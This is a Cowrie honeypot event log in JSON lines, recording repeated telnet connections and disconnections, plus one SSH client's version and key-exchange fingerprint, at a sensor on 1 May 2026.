{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":33238,"dst_ip":"159.203.135.109","dst_port":23,"session":"3349fb0a522d","protocol":"telnet","message":"New connection: 37.187.24.227:33238 (159.203.135.109:23) [session: 3349fb0a522d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:10.970342Z"}
{"eventid":"cowrie.session.closed","duration":30.896958112716675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:11.015679Z","src_ip":"51.79.21.139","session":"aac8491d6ec6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":54506,"dst_ip":"159.203.135.109","dst_port":23,"session":"035e6b16a974","protocol":"telnet","message":"New connection: 168.119.91.149:54506 (159.203.135.109:23) [session: 035e6b16a974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:11.032026Z"}
{"eventid":"cowrie.session.closed","duration":30.958478689193726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:11.057839Z","src_ip":"37.187.24.227","session":"a5111febe124","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.616727113723755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:11.104052Z","src_ip":"37.187.24.227","session":"8cb8e527436c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":46564,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba3adfb5791a","protocol":"telnet","message":"New connection: 149.102.133.101:46564 (159.203.135.109:23) [session: ba3adfb5791a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:11.108942Z"}
{"eventid":"cowrie.session.closed","duration":30.85658359527588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:11.121877Z","src_ip":"147.135.136.77","session":"aea96bc10aad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06817865371704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:11.143448Z","src_ip":"81.30.157.18","session":"5f3dc0d57f6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.100388288497925,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:11.149123Z","src_ip":"69.65.3.189","session":"7a1c846239b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":54528,"dst_ip":"159.203.135.109","dst_port":23,"session":"a06eb61e9303","protocol":"telnet","message":"New connection: 168.119.91.149:54528 (159.203.135.109:23) [session: a06eb61e9303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:11.154149Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":37694,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c5160def115","protocol":"telnet","message":"New connection: 147.135.136.77:37694 (159.203.135.109:23) [session: 9c5160def115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:11.192342Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":54530,"dst_ip":"159.203.135.109","dst_port":23,"session":"23288efaffba","protocol":"telnet","message":"New connection: 168.119.91.149:54530 (159.203.135.109:23) [session: 23288efaffba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:11.229414Z"}
{"eventid":"cowrie.session.closed","duration":30.409780025482178,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:11.482472Z","src_ip":"168.119.91.149","session":"dc9f3befe96b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28509283065796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:11.497787Z","src_ip":"168.119.91.149","session":"c770823b14ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92865753173828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:11.561077Z","src_ip":"168.119.91.149","session":"3b265fd3a8fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42424440383911,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:11.645357Z","src_ip":"168.119.91.149","session":"53e9d16533ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58779215812683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:11.672644Z","src_ip":"81.30.157.18","session":"e59c98d5dcc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":47424,"dst_ip":"159.203.135.109","dst_port":23,"session":"9916b865dc70","protocol":"telnet","message":"New connection: 81.30.157.18:47424 (159.203.135.109:23) [session: 9916b865dc70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:11.818447Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":35576,"dst_ip":"159.203.135.109","dst_port":23,"session":"1771f50c9f0c","protocol":"telnet","message":"New connection: 37.187.24.227:35576 (159.203.135.109:23) [session: 1771f50c9f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:12.003958Z"}
{"eventid":"cowrie.session.closed","duration":30.876219034194946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:12.046502Z","src_ip":"81.30.157.18","session":"1801396f567a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":47442,"dst_ip":"159.203.135.109","dst_port":23,"session":"420a3f8f65c3","protocol":"telnet","message":"New connection: 81.30.157.18:47442 (159.203.135.109:23) [session: 420a3f8f65c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:12.073959Z"}
{"eventid":"cowrie.session.closed","duration":30.511637687683105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:12.089151Z","src_ip":"81.30.157.18","session":"e4c837dc8445","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":46592,"dst_ip":"159.203.135.109","dst_port":23,"session":"54b21d17b527","protocol":"telnet","message":"New connection: 149.102.133.101:46592 (159.203.135.109:23) [session: 54b21d17b527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:12.094372Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":47458,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bebe2841479","protocol":"telnet","message":"New connection: 81.30.157.18:47458 (159.203.135.109:23) [session: 8bebe2841479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:12.119744Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":54638,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ba4ef6cf88a","protocol":"telnet","message":"New connection: 168.119.91.149:54638 (159.203.135.109:23) [session: 3ba4ef6cf88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:12.145866Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":46600,"dst_ip":"159.203.135.109","dst_port":23,"session":"d82861c164ee","protocol":"telnet","message":"New connection: 149.102.133.101:46600 (159.203.135.109:23) [session: d82861c164ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:12.351036Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":54672,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d1ff6070d6a","protocol":"telnet","message":"New connection: 168.119.91.149:54672 (159.203.135.109:23) [session: 8d1ff6070d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:12.378366Z"}
{"eventid":"cowrie.session.closed","duration":31.330580949783325,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:12.473201Z","src_ip":"147.135.136.77","session":"8dcfa6be0d5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":35838,"dst_ip":"159.203.135.109","dst_port":23,"session":"7923c625ce80","protocol":"telnet","message":"New connection: 46.101.32.143:35838 (159.203.135.109:23) [session: 7923c625ce80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:12.819940Z"}
{"eventid":"cowrie.session.closed","duration":31.185141563415527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:12.828840Z","src_ip":"103.102.241.112","session":"38b517180bca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.302245378494263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:13.039263Z","src_ip":"149.102.133.101","session":"350dfffc8bcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49583411216736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:13.050282Z","src_ip":"37.187.24.227","session":"837e3492cf13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.019726753234863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:13.054934Z","src_ip":"147.135.136.77","session":"11ddc1c74451","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.060545444488525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:13.130579Z","src_ip":"147.135.136.77","session":"3ef6021c0e74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":37782,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e306b339628","protocol":"telnet","message":"New connection: 147.135.136.77:37782 (159.203.135.109:23) [session: 0e306b339628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:13.137380Z"}
{"eventid":"cowrie.session.closed","duration":30.31694746017456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:13.247467Z","src_ip":"81.30.157.18","session":"f9fe7aa15a43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":54766,"dst_ip":"159.203.135.109","dst_port":23,"session":"75375c775dcf","protocol":"telnet","message":"New connection: 168.119.91.149:54766 (159.203.135.109:23) [session: 75375c775dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:13.261173Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":40644,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccff6fa08905","protocol":"telnet","message":"New connection: 51.79.21.139:40644 (159.203.135.109:23) [session: ccff6fa08905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:13.410846Z"}
{"eventid":"cowrie.session.closed","duration":30.833861351013184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:13.480378Z","src_ip":"168.119.91.149","session":"a830698f3fbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38714575767517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:13.504697Z","src_ip":"168.119.91.149","session":"523b5476639f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":36540,"dst_ip":"159.203.135.109","dst_port":23,"session":"24aaa21249ad","protocol":"telnet","message":"New connection: 46.101.32.143:36540 (159.203.135.109:23) [session: 24aaa21249ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:13.551049Z"}
{"eventid":"cowrie.session.closed","duration":31.43154239654541,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:13.653361Z","src_ip":"51.79.21.139","session":"48de16d4b353","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82812190055847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:13.715225Z","src_ip":"168.119.91.149","session":"735108dac1b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.66866135597229,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:13.728298Z","src_ip":"147.135.136.77","session":"c97d380f5a28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":47634,"dst_ip":"159.203.135.109","dst_port":23,"session":"a269be715f74","protocol":"telnet","message":"New connection: 81.30.157.18:47634 (159.203.135.109:23) [session: a269be715f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:14.026848Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":54844,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ff60daf7ec7","protocol":"telnet","message":"New connection: 168.119.91.149:54844 (159.203.135.109:23) [session: 7ff60daf7ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:14.044234Z"}
{"eventid":"cowrie.session.closed","duration":30.761739015579224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:14.050094Z","src_ip":"81.30.157.18","session":"c64a17659388","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.821171760559082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:14.053719Z","src_ip":"37.187.24.227","session":"692b0e32d1c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":50544,"dst_ip":"159.203.135.109","dst_port":23,"session":"185e9d17ef19","protocol":"telnet","message":"New connection: 81.30.157.18:50544 (159.203.135.109:23) [session: 185e9d17ef19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:14.093162Z"}
{"eventid":"cowrie.session.closed","duration":31.02540421485901,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:14.133785Z","src_ip":"81.30.157.18","session":"fdb55f8a8df9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":50550,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8e07f518413","protocol":"telnet","message":"New connection: 81.30.157.18:50550 (159.203.135.109:23) [session: d8e07f518413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:14.152028Z"}
{"eventid":"cowrie.session.closed","duration":30.57825541496277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:14.206940Z","src_ip":"147.135.136.77","session":"60d502f22d9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.152344465255737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:14.232980Z","src_ip":"147.135.136.77","session":"c3ad19c03387","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":50588,"dst_ip":"159.203.135.109","dst_port":23,"session":"970ef9b0ce59","protocol":"telnet","message":"New connection: 81.30.157.18:50588 (159.203.135.109:23) [session: 970ef9b0ce59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:14.332079Z"}
{"eventid":"cowrie.session.closed","duration":30.413862466812134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:14.494310Z","src_ip":"168.119.91.149","session":"09068f6200c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":54930,"dst_ip":"159.203.135.109","dst_port":23,"session":"66cabfb7b4bb","protocol":"telnet","message":"New connection: 168.119.91.149:54930 (159.203.135.109:23) [session: 66cabfb7b4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:14.600303Z"}
{"eventid":"cowrie.session.closed","duration":30.99813413619995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:14.661650Z","src_ip":"81.30.157.18","session":"c67589b7774c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.183284521102905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.012356Z","src_ip":"51.79.21.139","session":"4b89adc53031","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55020,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d912fc2559b","protocol":"telnet","message":"New connection: 168.119.91.149:55020 (159.203.135.109:23) [session: 8d912fc2559b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.026593Z"}
{"eventid":"cowrie.session.closed","duration":30.856377124786377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.043290Z","src_ip":"147.135.136.77","session":"329b8480e774","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55036,"dst_ip":"159.203.135.109","dst_port":23,"session":"206a06f46ad6","protocol":"telnet","message":"New connection: 168.119.91.149:55036 (159.203.135.109:23) [session: 206a06f46ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.062072Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":34820,"dst_ip":"10.17.0.5","dst_port":22,"session":"be6bb2995f81","protocol":"ssh","message":"New connection: 103.228.69.212:34820 (10.17.0.5:22) [session: be6bb2995f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.092315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.098658Z","src_ip":"103.228.69.212","session":"be6bb2995f81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.045471668243408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.140032Z","src_ip":"81.30.157.18","session":"0bdb15f095a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.594456434249878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.145191Z","src_ip":"81.30.157.18","session":"882e5790d824","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":37920,"dst_ip":"159.203.135.109","dst_port":23,"session":"871f17d0eb6a","protocol":"telnet","message":"New connection: 147.135.136.77:37920 (159.203.135.109:23) [session: 871f17d0eb6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.152020Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":38320,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dc58d2975cc","protocol":"telnet","message":"New connection: 46.101.32.143:38320 (159.203.135.109:23) [session: 3dc58d2975cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.177035Z"}
{"eventid":"cowrie.session.closed","duration":30.282663106918335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.194336Z","src_ip":"81.30.157.18","session":"25b3c29a819e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":50798,"dst_ip":"159.203.135.109","dst_port":23,"session":"604632d06b53","protocol":"telnet","message":"New connection: 81.30.157.18:50798 (159.203.135.109:23) [session: 604632d06b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.250094Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":37888,"dst_ip":"159.203.135.109","dst_port":23,"session":"63fe8f988c6e","protocol":"telnet","message":"New connection: 147.135.136.77:37888 (159.203.135.109:23) [session: 63fe8f988c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.317632Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.341068Z","src_ip":"103.228.69.212","session":"be6bb2995f81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.284525632858276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.471813Z","src_ip":"168.119.91.149","session":"f32551efd7b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":56738,"dst_ip":"159.203.135.109","dst_port":23,"session":"30148c0771c5","protocol":"telnet","message":"New connection: 85.208.100.77:56738 (159.203.135.109:23) [session: 30148c0771c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.481555Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":37934,"dst_ip":"159.203.135.109","dst_port":23,"session":"46f9bb06b3b2","protocol":"telnet","message":"New connection: 147.135.136.77:37934 (159.203.135.109:23) [session: 46f9bb06b3b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.489097Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55070,"dst_ip":"159.203.135.109","dst_port":23,"session":"9afb839dd0e1","protocol":"telnet","message":"New connection: 168.119.91.149:55070 (159.203.135.109:23) [session: 9afb839dd0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.503427Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55076,"dst_ip":"159.203.135.109","dst_port":23,"session":"efda69c907f6","protocol":"telnet","message":"New connection: 168.119.91.149:55076 (159.203.135.109:23) [session: efda69c907f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.536386Z"}
{"eventid":"cowrie.session.closed","duration":30.358944416046143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:15.643731Z","src_ip":"168.119.91.149","session":"4c2e803a8472","protocol":"telnet"}
